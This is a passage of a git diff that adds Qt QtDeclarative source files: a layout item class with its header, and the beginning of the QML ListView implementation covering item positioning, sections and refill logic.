+{
+ setGraphicsItem(this);
+}
+
+void QDeclarativeLayoutItem::setGeometry(const QRectF & rect)
+{
+ setX(rect.x());
+ setY(rect.y());
+ setWidth(rect.width());
+ setHeight(rect.height());
+}
+
+QSizeF QDeclarativeLayoutItem::sizeHint(Qt::SizeHint w, const QSizeF &constraint) const
+{
+ Q_UNUSED(constraint);
+ if(w == Qt::MinimumSize){
+ return m_minimumSize;
+ }else if(w == Qt::MaximumSize){
+ return m_maximumSize;
+ }else{
+ return m_preferredSize;
+ }
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativelayoutitem_p.h b/src/declarative/graphicsitems/qdeclarativelayoutitem_p.h
new file mode 100644
index 00000000..3982bbf7
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativelayoutitem_p.h
@@ -0,0 +1,94 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGRAPHICSLAYOUTITEM_H
+#define QDECLARATIVEGRAPHICSLAYOUTITEM_H
+#include "qdeclarativeitem.h"
+
+#include <QGraphicsLayoutItem>
+#include <QSizeF>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeLayoutItem : public QDeclarativeItem, public QGraphicsLayoutItem
+{
+ Q_OBJECT
+ Q_INTERFACES(QGraphicsLayoutItem)
+ Q_PROPERTY(QSizeF maximumSize READ maximumSize WRITE setMaximumSize NOTIFY maximumSizeChanged)
+ Q_PROPERTY(QSizeF minimumSize READ minimumSize WRITE setMinimumSize NOTIFY minimumSizeChanged)
+ Q_PROPERTY(QSizeF preferredSize READ preferredSize WRITE setPreferredSize NOTIFY preferredSizeChanged)
+public:
+ QDeclarativeLayoutItem(QDeclarativeItem* parent=0);
+
+ QSizeF maximumSize() const { return m_maximumSize; }
+ void setMaximumSize(const QSizeF &s) { if(s==m_maximumSize) return; m_maximumSize = s; emit maximumSizeChanged(); }
+
+ QSizeF minimumSize() const { return m_minimumSize; }
+ void setMinimumSize(const QSizeF &s) { if(s==m_minimumSize) return; m_minimumSize = s; emit minimumSizeChanged(); }
+
+ QSizeF preferredSize() const { return m_preferredSize; }
+ void setPreferredSize(const QSizeF &s) { if(s==m_preferredSize) return; m_preferredSize = s; emit preferredSizeChanged(); }
+
+ virtual void setGeometry(const QRectF & rect);
+protected:
+ virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const;
+
+Q_SIGNALS:
+ void maximumSizeChanged();
+ void minimumSizeChanged();
+ void preferredSizeChanged();
+
+private:
+ QSizeF m_maximumSize;
+ QSizeF m_minimumSize;
+ QSizeF m_preferredSize;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeLayoutItem)
+
+QT_END_HEADER
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp
new file mode 100644
index 00000000..331dc35f
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp
@@ -0,0 +1,3651 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativelistview_p.h"
+
+#include "private/qdeclarativeflickable_p_p.h"
+#include "private/qdeclarativevisualitemmodel_p.h"
+
+#include "private/qdeclarativesmoothedanimation_p_p.h"
+#include <qdeclarativeexpression.h>
+#include <qdeclarativeengine.h>
+#include <qdeclarativeguard_p.h>
+#include <qdeclarativeinfo.h>
+
+#include <qlistmodelinterface_p.h>
+#include <qmath.h>
+#include <QKeyEvent>
+#include "qplatformdefs.h"
+
+QT_BEGIN_NAMESPACE
+
+#ifndef QML_FLICK_SNAPONETHRESHOLD
+#define QML_FLICK_SNAPONETHRESHOLD 30
+#endif
+
+void QDeclarativeViewSection::setProperty(const QString &property)
+{
+ if (property != m_property) {
+ m_property = property;
+ emit propertyChanged();
+ }
+}
+
+void QDeclarativeViewSection::setCriteria(QDeclarativeViewSection::SectionCriteria criteria)
+{
+ if (criteria != m_criteria) {
+ m_criteria = criteria;
+ emit criteriaChanged();
+ }
+}
+
+void QDeclarativeViewSection::setDelegate(QDeclarativeComponent *delegate)
+{
+ if (delegate != m_delegate) {
+ m_delegate = delegate;
+ emit delegateChanged();
+ }
+}
+
+QString QDeclarativeViewSection::sectionString(const QString &value)
+{
+ if (m_criteria == FirstCharacter)
+ return value.isEmpty() ? QString() : value.at(0);
+ else
+ return value;
+}
+
+//----------------------------------------------------------------------------
+
+class FxListItem
+{
+public:
+ FxListItem(QDeclarativeItem *i, QDeclarativeListView *v) : item(i), section(0), view(v) {
+ attached = static_cast<QDeclarativeListViewAttached*>(qmlAttachedPropertiesObject<QDeclarativeListView>(item));
+ if (attached)
+ attached->setView(view);
+ }
+ ~FxListItem() {}
+ qreal position() const {
+ if (section) {
+ if (view->orientation() == QDeclarativeListView::Vertical)
+ return section->y();
+ else
+ return (view->effectiveLayoutDirection() == Qt::RightToLeft ? -section->width()-section->x() : section->x());
+ } else {
+ return itemPosition();
+ }
+ }
+
+ qreal itemPosition() const {
+ if (view->orientation() == QDeclarativeListView::Vertical)
+ return item->y();
+ else
+ return (view->effectiveLayoutDirection() == Qt::RightToLeft ? -item->width()-item->x() : item->x());
+ }
+ qreal size() const {
+ if (section)
+ return (view->orientation() == QDeclarativeListView::Vertical ? item->height()+section->height() : item->width()+section->width());
+ else
+ return (view->orientation() == QDeclarativeListView::Vertical ? item->height() : item->width());
+ }
+ qreal itemSize() const {
+ return (view->orientation() == QDeclarativeListView::Vertical ? item->height() : item->width());
+ }
+ qreal sectionSize() const {
+ if (section)
+ return (view->orientation() == QDeclarativeListView::Vertical ? section->height() : section->width());
+ return 0.0;
+ }
+ qreal endPosition() const {
+ if (view->orientation() == QDeclarativeListView::Vertical) {
+ return item->y() + (item->height() >= 1.0 ? item->height() : 1) - 1;
+ } else {
+ return (view->effectiveLayoutDirection() == Qt::RightToLeft
+ ? -item->width()-item->x() + (item->width() >= 1.0 ? item->width() : 1)
+ : item->x() + (item->width() >= 1.0 ? item->width() : 1)) - 1;
+ }
+ }
+ void setPosition(qreal pos) {
+ if (view->orientation() == QDeclarativeListView::Vertical) {
+ if (section) {
+ section->setY(pos);
+ pos += section->height();
+ }
+ item->setY(pos);
+ } else {
+ if (view->effectiveLayoutDirection() == Qt::RightToLeft) {
+ if (section) {
+ section->setX(-section->width()-pos);
+ pos += section->width();
+ }
+ item->setX(-item->width()-pos);
+ } else {
+ if (section) {
+ section->setX(pos);
+ pos += section->width();
+ }
+ item->setX(pos);
+ }
+ }
+ }
+ void setSize(qreal size) {
+ if (view->orientation() == QDeclarativeListView::Vertical)
+ item->setHeight(size);
+ else
+ item->setWidth(size);
+ }
+ bool contains(qreal x, qreal y) const {
+ return (x >= item->x() && x < item->x() + item->width() &&
+ y >= item->y() && y < item->y() + item->height());
+ }
+
+ QDeclarativeItem *item;
+ QDeclarativeItem *section;
+ QDeclarativeListView *view;
+ QDeclarativeListViewAttached *attached;
+ int index;
+};
+
+//----------------------------------------------------------------------------
+
+class QDeclarativeListViewPrivate : public QDeclarativeFlickablePrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeListView)
+
+public:
+ QDeclarativeListViewPrivate()
+ : currentItem(0), orient(QDeclarativeListView::Vertical), layoutDirection(Qt::LeftToRight)
+ , visiblePos(0), visibleIndex(0)
+ , averageSize(100.0), currentIndex(-1), requestedIndex(-1)
+ , itemCount(0), highlightRangeStart(0), highlightRangeEnd(0)
+ , highlightRangeStartValid(false), highlightRangeEndValid(false)
+ , highlightComponent(0), highlight(0), trackedItem(0)
+ , moveReason(Other), buffer(0), highlightPosAnimator(0), highlightSizeAnimator(0)
+ , sectionCriteria(0), spacing(0.0)
+ , highlightMoveSpeed(400), highlightMoveDuration(-1)
+ , highlightResizeSpeed(400), highlightResizeDuration(-1), highlightRange(QDeclarativeListView::NoHighlightRange)
+ , snapMode(QDeclarativeListView::NoSnap), overshootDist(0.0)
+ , footerComponent(0), footer(0), headerComponent(0), header(0)
+ , bufferMode(BufferBefore | BufferAfter)
+ , ownModel(false), wrap(false), autoHighlight(true), haveHighlightRange(false)
+ , correctFlick(false), inFlickCorrection(false), lazyRelease(false)
+ , deferredRelease(false), layoutScheduled(false), currentIndexCleared(false)
+ , inViewportMoved(false)
+ , minExtentDirty(true), maxExtentDirty(true)
+ {}
+
+ void init();
+ void clear();
+ FxListItem *createItem(int modelIndex);
+ void releaseItem(FxListItem *item);
+
+ FxListItem *visibleItem(int modelIndex) const {
+ if (modelIndex >= visibleIndex && modelIndex < visibleIndex + visibleItems.count()) {
+ for (int i = modelIndex - visibleIndex; i < visibleItems.count(); ++i) {
+ FxListItem *item = visibleItems.at(i);
+ if (item->index == modelIndex)
+ return item;
+ }
+ }
+ return 0;
+ }
+
+ FxListItem *firstVisibleItem() const {
+ const qreal pos = isRightToLeft() ? -position()-size() : position();
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxListItem *item = visibleItems.at(i);
+ if (item->index != -1 && item->endPosition() > pos)
+ return item;
+ }
+ return visibleItems.count() ? visibleItems.first() : 0;
+ }
+
+ // Returns the item before modelIndex, if created.
+ // May return an item marked for removal.
+ FxListItem *itemBefore(int modelIndex) const {
+ if (modelIndex < visibleIndex)
+ return 0;
+ int idx = 1;
+ int lastIndex = -1;
+ while (idx < visibleItems.count()) {
+ FxListItem *item = visibleItems.at(idx);
+ if (item->index != -1)
+ lastIndex = item->index;
+ if (item->index == modelIndex)
+ return visibleItems.at(idx-1);
+ ++idx;
+ }
+ if (lastIndex == modelIndex-1)
+ return visibleItems.last();
+ return 0;
+ }
+
+ void regenerate() {
+ Q_Q(QDeclarativeListView);
+ if (q->isComponentComplete()) {
+ if (header) {
+ if (q->scene())
+ q->scene()->removeItem(header->item);
+ header->item->deleteLater();
+ delete header;
+ header = 0;
+ }
+ if (footer) {
+ if (q->scene())
+ q->scene()->removeItem(footer->item);
+ footer->item->deleteLater();
+ delete footer;
+ footer = 0;
+ }
+ updateHeader();
+ updateFooter();
+ clear();
+ setPosition(0);
+ q->refill();
+ updateCurrent(currentIndex);
+ }
+ }
+
+ void mirrorChange() {
+ Q_Q(QDeclarativeListView);
+ regenerate();
+ }
+
+ bool isRightToLeft() const {
+ Q_Q(const QDeclarativeListView);
+ return orient == QDeclarativeListView::Horizontal && q->effectiveLayoutDirection() == Qt::RightToLeft;
+ }
+
+ qreal position() const {
+ Q_Q(const QDeclarativeListView);
+ return orient == QDeclarativeListView::Vertical ? q->contentY() : q->contentX();
+ }
+
+ void setPosition(qreal pos) {
+ Q_Q(QDeclarativeListView);
+ if (orient == QDeclarativeListView::Vertical) {
+ q->QDeclarativeFlickable::setContentY(pos);
+ } else {
+ if (isRightToLeft())
+ q->QDeclarativeFlickable::setContentX(-pos-size());
+ else
+ q->QDeclarativeFlickable::setContentX(pos);
+ }
+ }
+ qreal size() const {
+ Q_Q(const QDeclarativeListView);
+ return orient == QDeclarativeListView::Vertical ? q->height() : q->width();
+ }
+
+ qreal originPosition() const {
+ qreal pos = 0;
+ if (!visibleItems.isEmpty()) {
+ pos = (*visibleItems.constBegin())->position();
+ if (visibleIndex > 0)
+ pos -= visibleIndex * (averageSize + spacing);
+ }
+ return pos;
+ }
+
+ qreal lastPosition() const {
+ qreal pos = 0;
+ if (!visibleItems.isEmpty()) {
+ int invisibleCount = visibleItems.count() - visibleIndex;
+ for (int i = visibleItems.count()-1; i >= 0; --i) {
+ if (visibleItems.at(i)->index != -1) {
+ invisibleCount = model->count() - visibleItems.at(i)->index - 1;
+ break;
+ }
+ }
+ pos = (*(--visibleItems.constEnd()))->endPosition() + invisibleCount * (averageSize + spacing);
+ } else if (model && model->count()) {
+ pos = model->count() * averageSize + (model->count()-1) * spacing;
+ }
+ return pos;
+ }
+
+ qreal startPosition() const {
+ return isRightToLeft() ? -lastPosition()-1 : originPosition();
+ }
+
+ qreal endPosition() const {
+ return isRightToLeft() ? -originPosition()-1 : lastPosition();
+ }
+
+ qreal positionAt(int modelIndex) const {
+ if (FxListItem *item = visibleItem(modelIndex))
+ return item->position();
+ if (!visibleItems.isEmpty()) {
+ if (modelIndex < visibleIndex) {
+ int count = visibleIndex - modelIndex;
+ qreal cs = 0;
+ if (modelIndex == currentIndex && currentItem) {
+ cs = currentItem->size() + spacing;
+ --count;
+ }
+ return (*visibleItems.constBegin())->position() - count * (averageSize + spacing) - cs;
+ } else {
+ int idx = visibleItems.count() - 1;
+ while (idx >= 0 && visibleItems.at(idx)->index == -1)
+ --idx;
+ if (idx < 0)
+ idx = visibleIndex;
+ else
+ idx = visibleItems.at(idx)->index;
+ int count = modelIndex - idx - 1;
+
+ return (*(--visibleItems.constEnd()))->endPosition() + spacing + count * (averageSize + spacing) + 1;
+ }
+ }
+ return 0;
+ }
+
+ qreal endPositionAt(int modelIndex) const {
+ if (FxListItem *item = visibleItem(modelIndex))
+ return item->endPosition();
+ if (!visibleItems.isEmpty()) {
+ if (modelIndex < visibleIndex) {
+ int count = visibleIndex - modelIndex;
+ return (*visibleItems.constBegin())->position() - (count - 1) * (averageSize + spacing) - spacing - 1;
+ } else {
+ int idx = visibleItems.count() - 1;
+ while (idx >= 0 && visibleItems.at(idx)->index == -1)
+ --idx;
+ if (idx < 0)
+ idx = visibleIndex;
+ else
+ idx = visibleItems.at(idx)->index;
+ int count = modelIndex - idx - 1;
+ return (*(--visibleItems.constEnd()))->endPosition() + count * (averageSize + spacing);
+ }
+ }
+ return 0;
+ }
+
+ QString sectionAt(int modelIndex) {
+ if (FxListItem *item = visibleItem(modelIndex))
+ return item->attached->section();
+
+ QString section;
+ if (sectionCriteria) {
+ QString propValue = model->stringValue(modelIndex, sectionCriteria->property());
+ section = sectionCriteria->sectionString(propValue);
+ }
+
+ return section;
+ }
+
+ bool isValid() const {
+ return model && model->count() && model->isValid();
+ }
+
+ qreal snapPosAt(qreal pos) {
+ if (FxListItem *snapItem = snapItemAt(pos))
+ return snapItem->position();
+ if (visibleItems.count()) {
+ qreal firstPos = visibleItems.first()->position();
+ qreal endPos = visibleItems.last()->position();
+ if (pos < firstPos) {
+ return firstPos - qRound((firstPos - pos) / averageSize) * averageSize;
+ } else if (pos > endPos)
+ return endPos + qRound((pos - endPos) / averageSize) * averageSize;
+ }
+ return qRound((pos - originPosition()) / averageSize) * averageSize + originPosition();
+ }
+
+ FxListItem *snapItemAt(qreal pos) {
+ FxListItem *snapItem = 0;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxListItem *item = visibleItems[i];
+ if (item->index == -1)
+ continue;
+ qreal itemTop = item->position();
+ if (highlight && itemTop >= pos && item->endPosition() <= pos + highlight->size() - 1)
+ return item;
+ if (itemTop+item->size()/2 >= pos && itemTop-item->size()/2 < pos)
+ snapItem = item;
+ }
+ return snapItem;
+ }
+
+ int lastVisibleIndex() const {
+ int lastIndex = -1;
+ for (int i = visibleItems.count()-1; i >= 0; --i) {
+ FxListItem *listItem = visibleItems.at(i);
+ if (listItem->index != -1) {
+ lastIndex = listItem->index;
+ break;
+ }
+ }
+ return lastIndex;
+ }
+
+ // map a model index to visibleItems index.
+ int mapFromModel(int modelIndex) const {
+ if (modelIndex < visibleIndex || modelIndex >= visibleIndex + visibleItems.count())
+ return -1;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxListItem *listItem = visibleItems.at(i);
+ if (listItem->index == modelIndex)
+ return i;
+ if (listItem->index > modelIndex)
+ return -1;
+ }
+ return -1; // Not in visibleList
+ }
+
+ void updateViewport() {
+ Q_Q(QDeclarativeListView);
+ if (orient == QDeclarativeListView::Vertical) {
+ q->setContentHeight(endPosition() - startPosition() + 1);
+ } else {
+ q->setContentWidth(endPosition() - startPosition() + 1);
+ }
+ }
+
+ void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry) {
+ Q_Q(QDeclarativeListView);
+ QDeclarativeFlickablePrivate::itemGeometryChanged(item, newGeometry, oldGeometry);
+ if (!q->isComponentComplete())
+ return;
+ if (item != contentItem && (!highlight || item != highlight->item)) {
+ if ((orient == QDeclarativeListView::Vertical && newGeometry.height() != oldGeometry.height())
+ || (orient == QDeclarativeListView::Horizontal && newGeometry.width() != oldGeometry.width())) {
+ scheduleLayout();
+ }
+ }
+ if ((header && header->item == item) || (footer && footer->item == item)) {
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
+ }
+ if (currentItem && currentItem->item == item)
+ updateHighlight();
+ if (trackedItem && trackedItem->item == item)
+ q->trackedPositionChanged();
+ }
+
+ // for debugging only
+ void checkVisible() const {
+ int skip = 0;
+ for (int i = 0; i < visibleItems.count(); ++i) {
+ FxListItem *listItem = visibleItems.at(i);
+ if (listItem->index == -1) {
+ ++skip;
+ } else if (listItem->index != visibleIndex + i - skip) {
+ qFatal("index %d %d %d", visibleIndex, i, listItem->index);
+ }
+ }
+ }
+
+ void refill(qreal from, qreal to, bool doBuffer = false);
+ void scheduleLayout();
+ void layout();
+ void updateUnrequestedIndexes();
+ void updateUnrequestedPositions();
+ void updateTrackedItem();
+ void createHighlight();
+ void updateHighlight();
+ void createSection(FxListItem *);
+ void updateSections();
+ void updateCurrentSection();
+ void updateCurrent(int);
+ void updateAverage();
+ void updateHeader();
+ void updateFooter();
+ void fixupPosition();
+ void positionViewAtIndex(int index, int mode);
+ virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
+ virtual void flick(QDeclarativeFlickablePrivate::AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
+ QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
+
+ QDeclarativeGuard<QDeclarativeVisualModel> model;
+ QVariant modelVariant;
+ QList<FxListItem*> visibleItems;
+ QHash<QDeclarativeItem*,int> unrequestedItems;
+ FxListItem *currentItem;
+ QDeclarativeListView::Orientation orient;
+ Qt::LayoutDirection layoutDirection;
+ qreal visiblePos;
+ int visibleIndex;
+ qreal averageSize;
+ int currentIndex;
+ int requestedIndex;
+ int itemCount;
+ qreal highlightRangeStart;
+ qreal highlightRangeEnd;
+ bool highlightRangeStartValid;
+ bool highlightRangeEndValid;
+ QDeclarativeComponent *highlightComponent;
+ FxListItem *highlight;
+ FxListItem *trackedItem;
+ enum MovementReason { Other, SetIndex, Mouse };
+ MovementReason moveReason;
+ int buffer;
+ QSmoothedAnimation *highlightPosAnimator;
+ QSmoothedAnimation *highlightSizeAnimator;
+ QDeclarativeViewSection *sectionCriteria;
+ QString currentSection;
+ static const int sectionCacheSize = 4;
+ QDeclarativeItem *sectionCache[sectionCacheSize];
+ qreal spacing;
+ qreal highlightMoveSpeed;
+ int highlightMoveDuration;
+ qreal highlightResizeSpeed;
+ int highlightResizeDuration;
+ QDeclarativeListView::HighlightRangeMode highlightRange;
+ QDeclarativeListView::SnapMode snapMode;
+ qreal overshootDist;
+ QDeclarativeComponent *footerComponent;
+ FxListItem *footer;
+ QDeclarativeComponent *headerComponent;
+ FxListItem *header;
+ enum BufferMode { NoBuffer = 0x00, BufferBefore = 0x01, BufferAfter = 0x02 };
+ int bufferMode;
+ mutable qreal minExtent;
+ mutable qreal maxExtent;
+
+ bool ownModel : 1;
+ bool wrap : 1;
+ bool autoHighlight : 1;
+ bool haveHighlightRange : 1;
+ bool correctFlick : 1;
+ bool inFlickCorrection : 1;
+ bool lazyRelease : 1;
+ bool deferredRelease : 1;
+ bool layoutScheduled : 1;
+ bool currentIndexCleared : 1;
+ bool inViewportMoved : 1;
+ mutable bool minExtentDirty : 1;
+ mutable bool maxExtentDirty : 1;
+};
+
+void QDeclarativeListViewPrivate::init()
+{
+ Q_Q(QDeclarativeListView);
+ q->setFlag(QGraphicsItem::ItemIsFocusScope);
+ addItemChangeListener(this, Geometry);
+ QObject::connect(q, SIGNAL(movementEnded()), q, SLOT(animStopped()));
+ q->setFlickableDirection(QDeclarativeFlickable::VerticalFlick);
+ ::memset(sectionCache, 0, sizeof(QDeclarativeItem*) * sectionCacheSize);
+}
+
+void QDeclarativeListViewPrivate::clear()
+{
+ timeline.clear();
+ for (int i = 0; i < visibleItems.count(); ++i)
+ releaseItem(visibleItems.at(i));
+ visibleItems.clear();
+ for (int i = 0; i < sectionCacheSize; ++i) {
+ delete sectionCache[i];
+ sectionCache[i] = 0;
+ }
+ visiblePos = header ? header->size() : 0;
+ visibleIndex = 0;
+ releaseItem(currentItem);
+ currentItem = 0;
+ createHighlight();
+ trackedItem = 0;
+ minExtentDirty = true;
+ maxExtentDirty = true;
+ itemCount = 0;
+}
+
+FxListItem *QDeclarativeListViewPrivate::createItem(int modelIndex)
+{
+ Q_Q(QDeclarativeListView);
+ // create object
+ requestedIndex = modelIndex;
+ FxListItem *listItem = 0;
+ if (QDeclarativeItem *item = model->item(modelIndex, false)) {
+ listItem = new FxListItem(item, q);
+ listItem->index = modelIndex;
+ // initialise attached properties
+ if (sectionCriteria) {
+ QString propValue = model->stringValue(modelIndex, sectionCriteria->property());
+ listItem->attached->m_section = sectionCriteria->sectionString(propValue);
+ if (modelIndex > 0) {
+ if (FxListItem *item = itemBefore(modelIndex))
+ listItem->attached->m_prevSection = item->attached->section();
+ else
+ listItem->attached->m_prevSection = sectionAt(modelIndex-1);
+ }
+ if (modelIndex < model->count()-1) {
+ if (FxListItem *item = visibleItem(modelIndex+1))
+ listItem->attached->m_nextSection = item->attached->section();
+ else
+ listItem->attached->m_nextSection = sectionAt(modelIndex+1);
+ }
+ }
+ if (model->completePending()) {
+ // complete
+ listItem->item->setZValue(1);
+ listItem->item->setParentItem(q->contentItem());
+ model->completeItem();
+ } else {
+ listItem->item->setParentItem(q->contentItem());
+ }
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item));
+ itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ if (sectionCriteria && sectionCriteria->delegate()) {
+ if (listItem->attached->m_prevSection != listItem->attached->m_section)
+ createSection(listItem);
+ }
+ unrequestedItems.remove(listItem->item);
+ }
+ requestedIndex = -1;
+
+ return listItem;
+}
+
+void QDeclarativeListViewPrivate::releaseItem(FxListItem *item)
+{
+ Q_Q(QDeclarativeListView);
+ if (!item || !model)
+ return;
+ if (trackedItem == item)
+ trackedItem = 0;
+ QDeclarativeItemPrivate *itemPrivate = static_cast<QDeclarativeItemPrivate*>(QGraphicsItemPrivate::get(item->item));
+ itemPrivate->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ if (model->release(item->item) == 0) {
+ // item was not destroyed, and we no longer reference it.
+ unrequestedItems.insert(item->item, model->indexOf(item->item, q));
+ }
+ if (item->section) {
+ int i = 0;
+ do {
+ if (!sectionCache[i]) {
+ sectionCache[i] = item->section;
+ sectionCache[i]->setVisible(false);
+ item->section = 0;
+ break;
+ }
+ ++i;
+ } while (i < sectionCacheSize);
+ delete item->section;
+ }
+ delete item;
+}
+
+void QDeclarativeListViewPrivate::refill(qreal from, qreal to, bool doBuffer)
+{
+ Q_Q(QDeclarativeListView);
+ if (!isValid() || !q->isComponentComplete())
+ return;
+ itemCount = model->count();
+ qreal bufferFrom = from - buffer;
+ qreal bufferTo = to + buffer;
+ qreal fillFrom = from;
+ qreal fillTo = to;
+ if (doBuffer && (bufferMode & BufferAfter))
+ fillTo = bufferTo;
+ if (doBuffer && (bufferMode & BufferBefore))
+ fillFrom = bufferFrom;
+
+ bool haveValidItems = false;
+ int modelIndex = visibleIndex;
+ qreal itemEnd = visiblePos-1;
+ if (!visibleItems.isEmpty()) {
+ visiblePos = (*visibleItems.constBegin())->position();
+ itemEnd = (*(--visibleItems.constEnd()))->endPosition() + spacing;
+ int i = visibleItems.count() - 1;
+ while (i > 0 && visibleItems.at(i)->index == -1)
+ --i;
+ if (visibleItems.at(i)->index != -1) {
+ haveValidItems = true;
+ modelIndex = visibleItems.at(i)->index + 1;
+ }
+ }
+
+ if (haveValidItems && (fillFrom > itemEnd+averageSize+spacing
+ || fillTo < visiblePos - averageSize - spacing)) {
+ // We've jumped more than a page. Estimate which items are now
+ // visible and fill from there.
+ int count = (fillFrom - itemEnd) / (averageSize + spacing);
+ for (int i = 0; i < visibleItems.count(); ++i)
+ releaseItem(visibleItems.at(i));
+ visibleItems.clear();
+ modelIndex += count;
+ if (modelIndex >= model->count()) {
+ count -= modelIndex - model->count() + 1;
+ modelIndex = model->count() - 1;
+ } else if (modelIndex < 0) {
+ count -= modelIndex;
+ modelIndex = 0;
+ }
+ visibleIndex = modelIndex;
+ visiblePos = itemEnd + count * (averageSize + spacing) + 1;
+ itemEnd = visiblePos-1;
+ }
+
+ bool changed = false;
+ FxListItem *item = 0;
+ qreal pos = itemEnd + 1;
+ while (modelIndex < model->count() && pos <= fillTo) {
+// qDebug() << "refill: append item" << modelIndex << "pos" << pos;
+ if (!(item = createItem(modelIndex)))
+ break;
+ item->setPosition(pos);
+ pos += item->size() + spacing;
+ visibleItems.append(item);
+ ++modelIndex;
+ changed = true;
+ if (doBuffer) // never buffer more than one item per frame
+ break;
+ }
+ while (visibleIndex > 0 && visibleIndex <= model->count() && visiblePos-1 >= fillFrom) {
+// qDebug() << "refill: prepend item" << visibleIndex-1 << "current top pos" << visiblePos;
+ if (!(item = createItem(visibleIndex-1)))
+ break;
+ --visibleIndex;
+ visiblePos -= item->size() + spacing;
+ item->setPosition(visiblePos);
+ visibleItems.prepend(item);
+ changed = true;
+ if (doBuffer) // never buffer more than one item per frame
+ break;
+ }
+
+ if (!lazyRelease || !changed || deferredRelease) { // avoid destroying items in the same frame that we create
+ while (visibleItems.count() > 1 && (item = visibleItems.first()) && item->endPosition() < bufferFrom) {
+ if (item->attached->delayRemove())
+ break;
+// qDebug() << "refill: remove first" << visibleIndex << "top end pos" << item->endPosition();
+ if (item->index != -1)
+ visibleIndex++;
+ visibleItems.removeFirst();
+ releaseItem(item);
+ changed = true;
+ }
+ while (visibleItems.count() > 1 && (item = visibleItems.last()) && item->position() > bufferTo) {
+ if (item->attached->delayRemove())
+ break;
+// qDebug() << "refill: remove last" << visibleIndex+visibleItems.count()-1 << item->position();
+ visibleItems.removeLast();
+ releaseItem(item);
+ changed = true;
+ }
+ deferredRelease = false;
+ } else {
+ deferredRelease = true;
+ }
+ if (changed) {
+ minExtentDirty = true;
+ maxExtentDirty = true;
+ if (visibleItems.count())
+ visiblePos = (*visibleItems.constBegin())->position();
+ updateAverage();
+ if (currentIndex >= 0 && currentItem && !visibleItem(currentIndex)) {
+ currentItem->setPosition(positionAt(currentIndex));
+ updateHighlight();
+ }
+
+ if (sectionCriteria)
+ updateCurrentSection();
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
+ updateViewport();
+ updateUnrequestedPositions();
+ } else if (!doBuffer && buffer && bufferMode != NoBuffer) {
+ refill(from, to, true);
+ }
+ lazyRelease = false;
+}
+
+void QDeclarativeListViewPrivate::scheduleLayout()
+{
+ Q_Q(QDeclarativeListView);
+ if (!layoutScheduled) {
+ layoutScheduled = true;
+ QCoreApplication::postEvent(q, new QEvent(QEvent::User), Qt::HighEventPriority);
+ }
+}
+
+void QDeclarativeListViewPrivate::layout()
+{
